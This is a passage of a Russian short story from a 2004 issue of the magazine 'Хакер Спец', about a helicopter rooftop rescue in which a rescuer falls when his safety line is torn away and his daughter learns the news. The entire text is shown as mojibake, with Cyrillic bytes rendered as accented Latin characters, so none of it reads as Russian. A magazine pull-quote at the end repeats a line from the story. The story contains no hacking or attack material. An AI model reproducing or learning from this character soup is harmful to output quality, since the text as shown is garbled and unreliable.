òåëî, çàêðåïèë Äèìêó. Äåðíóâ òðîñ ïàðó ðàç, îí êðèêíóë:

� Ïîäíèìàé! È ïîïðîñè «âåðòóøêó» ïîêà â ñòîðîíó
îòîéòè, íè÷åãî íå âèäíî èç-çà ïûëè!

Ùèò ìåäëåííî ïîïîëç ââåðõ, îòìå÷àÿ ñâîèìè îñòàíîâ-
êàìè ïàóçû, êîòîðûå äåëàë Àíäðåé, ÷òîáû ïåðåõâàòèòü ðó-
êè. Ïûëè ñòàëî ïîìåíüøå, øóì âåðòîëåòà íåñêîëüêî îòäà-
ëèëñÿ.

Ïðåæäå ÷åì íà÷àòü ïîäíèìàòüñÿ ñëåäîì, Òåïëÿêîâ ãëÿ-
íóë âíèç è óâèäåë ñâîþ äî÷ü ðÿäîì ñ âàãîí÷èêîì äèñïåò-
÷åðà. Îíà ñàìà äîãàäàëàñü íå ëåçòü â ãóùó ñîáûòèé, îáðà-

òèëàñü â øòàá è òåïåðü æäàëà îòöà òàì ñ âåñòÿìè î ñïàñåí-
íîì ïàðíå. Îí ïîäåðãàë âåðåâêó è ñòàë ïîäíèìàòüñÿ�

Àíäðåé âûòàùèë ùèò íà êðûøó, âãëÿäåëñÿ â ñòðàäàëü-
÷åñêè èçìåíåííîå ëèöî Äèìû, âêîëîë åìó îáåçáîëèâàþ-
ùåå è ñòàë íàïðàâëÿòü âåðòîëåò. Ìîùíàÿ ñòðóÿ âîçäóõà,
áüþùàÿ ñâåðõó, çàñòàâèëà åãî ïðèãíóòüñÿ. Îòêóäà-òî ñ íå-
áà óïàëè òðîñû ñ ëþëüêîé.

Àíäðåé íà÷àë çàêðåïëÿòü ùèò è âäðóã ïîíÿë, ÷òî íà
êðûøå ÷òî-òî íå òàê. Îãðîìíàÿ ñïóòíèêîâàÿ àíòåííà, ñëîâ-
íî ïàðóñ, íàáðàëà â ñåáÿ ïîòîê îò «âåðòóøêè» è ñäâèíó-
ëàñü ñ ìåñòà.

Òåïëÿêîâ ïî÷óâñòâîâàë ýòî, êîãäà äî êðûøè îñòàâàëîñü
ìåòðîâ äåñÿòü. Îí ïîïûòàëñÿ ïîäíèìàòüñÿ áûñòðåå è çàê-
ðè÷àë:

� Àíòåííà! Àíäðåé, òðîñ! Àíòåííà!
Íàïàðíèê êèíóëñÿ ê îïîðå, óõâàòèë ðóêîé âåðåâêó è òóò

æå ïîíÿë, ÷òî îñëàáèòü óçåë è ïåðåõâàòèòü åãî ïîëíîñòüþ
åìó íå óäàñòñÿ, à ìàññà îïîðû ñëèøêîì âåëèêà äëÿ òîãî,
÷òîáû åå óäåðæàë îäèí ÷åëîâåê.

� Ýé, íà âåðòîëåòå, âàøó ìàòü, âûøå ïîäíèìàéñÿ, âûøå,
îñëàáü íàïîð!

Ëåò÷èê ïîíÿë åãî íå ñðàçó. Ëèøü òîãäà, êîãäà àíòåííà,
ñëîâíî áóìàæíàÿ, âçìûëà â âîçäóõ è èñ÷åçëà çà êðàåì
ïðîâàëà. Âìåñòå ñ ñòðàõîâî÷íûì òðîñîì Òåïëÿêîâà.

Àíäðåé, øèðîêî ðàñêðûâ ãëàçà, ñìîòðåë òóäà, ãäå äîë-
æåí áûë ïîêàçàòüñÿ Òåïëÿêîâ; ïîòîì îí ëåã íà êðûøó è
ïîäïîëç ê êðàþ. Íèêîãî. À ãäå-òî âíèçó óæå ñóåòèëèñü ëó-
÷è, âûõâàòûâàÿ èç òåìíîòû ëåæàùåå íà êàìíÿõ òåëî ñïàñà-
òåëÿ�

Äèìêà âíåçàïíî ïðèøåë â ñåáÿ, óâèäåë íàä ñîáîé ãîðÿ-
ùèå îãíè âåðòîëåòà, îùóòèë ìîùíóþ, áüþùóþ ïðÿìî â ëè-
öî ñòðóþ âîçäóõà è âíåçàïíî ñêàçàë ïðèáëèçèâøåìóñÿ ê
íåìó Àíäðåþ:

� Áëàãîñëîâè, Ãîñïîäè�
Òîò, øèðîêî ðàñêðûâ ãëàçà, ïîñìîòðåë íà ëåæàùåãî ïå-

ðåä íèì ïàðíÿ, ïîòîì ìàõíóë ðóêîé è òèõî ïðîèçíåñ:
� Ïîäíèìàé�
� Íå ñëûøó âàñ, ïîâòîðèòå êîìàíäó,� ðàçäàëñÿ â íàóø-

íèêàõ ãîëîñ ïèëîòà.
� Ïîäíèìà-à-àé! � çàîðàë Àíäðåé è óïàë íà êîëåíè. Ùèò

âçìûë â íåáî è èñ÷åç, îñòàâèâ ñïàñàòåëÿ íàåäèíå ñ ñàìèì
ñîáîé�

�Äàøà ïðîâîäèëà ãëàçàìè îãíè â íåáå. Âåðòîëåò óíåñ
ïàðíÿ, òàê è íå äàâ åé âîçìîæíîñòè âçãëÿíóòü íà íåãî. Îíà
ïîñòîÿëà íà ïîðîãå âàãîí÷èêà, ïðèñëóøèâàÿñü ê ïåðåãîâî-
ðàì äèñïåò÷åðà è ñïàñàòåëåé, ïîòîì âûòàùèëà èç êàðìàíà
ñîòîâûé òåëåôîí è íàáðàëà íîìåð îòöà. «Àáîíåíò âðåìåí-
íî íåäîñòóïåí», � áûë îòâåò. Îíà óäèâëåííî ïîæàëà ïëå÷à-
ìè, íàáðàëà åùå ðàç � òîò æå ðåçóëüòàò. Âíåçàïíî íà ïëå÷î
åé ëåãëà ÷üÿ-òî ðóêà. Îíà òèõî âñêðèêíóëà è îòøàòíóëàñü.
Ýòî áûë äèñïåò÷åð.

� Òû âåäü Äàøà Òåïëÿêîâà? � ñïðîñèë îí.
� Äà, à ÷òî? Îòåö ÷òî-òî ïðîñèë ïåðåäàòü?
È âäðóã ïî åãî ãëàçàì îíà äîãàäàëàñü, ÷òî ñëó÷èëîñü

÷òî-òî ñòðàøíîå. «Àáîíåíò âðåìåííî íåäîñòóïåí�»
� Îí�?
� Îí� Îí óïàë, Äàøà. Òîëüêî ÷òî� Íî îí âûòàùèë òîãî

ïàðíÿ�
Äåâóøêà ïðèñåëà íà ñòóïåíüêè âàãîí÷èêà. Ãóáû ó íåå

çàòðÿñëèñü, òåëåôîí âûïàë èç ðóê íà çåìëþ.
� Îí îñòàëñÿ â æèâûõ,� ïðîäîëæèë äèñïåò÷åð. � Ïðàâäà,

åìó çäîðîâî äîñòàëîñü� Îí óæå ïî ïóòè â áîëüíèöó, òåáå
ïîòîì ñîîáùàò. Íå ïëà÷ü, ýòî âåäü åãî ðàáîòà. È òîò ïàðåíü
� îí äåéñòâèòåëüíî òàì áûë�

×åé-òî âûçîâ çàñòàâèë åãî âåðíóòüñÿ â äèñïåò÷åðñêóþ.
Äàøà, îáõâàòèâ ãîëîâó, ðûäàëà íà çåìëå ó âàãîí÷èêà�

� Ïàïà,� âñõëèïûâàëà îíà, � íèêîãäà â æèçíè íå áóäó
ïîëüçîâàòüñÿ ýòîé ÷åðòîâîé àñüêîé� Íèêîãäà� Íèêîãäà�

À Äèìêà â âåðòîëåòå âñþ äîðîãó äî ïîñàäî÷íîé ïëî-
ùàäêè áîðìîòàë ñêâîçü ðîêîò âèíòà:

� Áëàãîñëîâè, Ãîñïîäè� Áëàãîñëîâè�

ÕÀÊÅÐÑÏÅÖ    08(45)  2004
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Ìîùíàÿ ñòðóÿ âîçäóõà,
áüþùàÿ ñâåðõó, çàñòàâèëà åãî
ïðèãíóòüñÿ. Îòêóäà-òî ñ íåáà

óïàëè òðîñû ñ ëþëüêîé.
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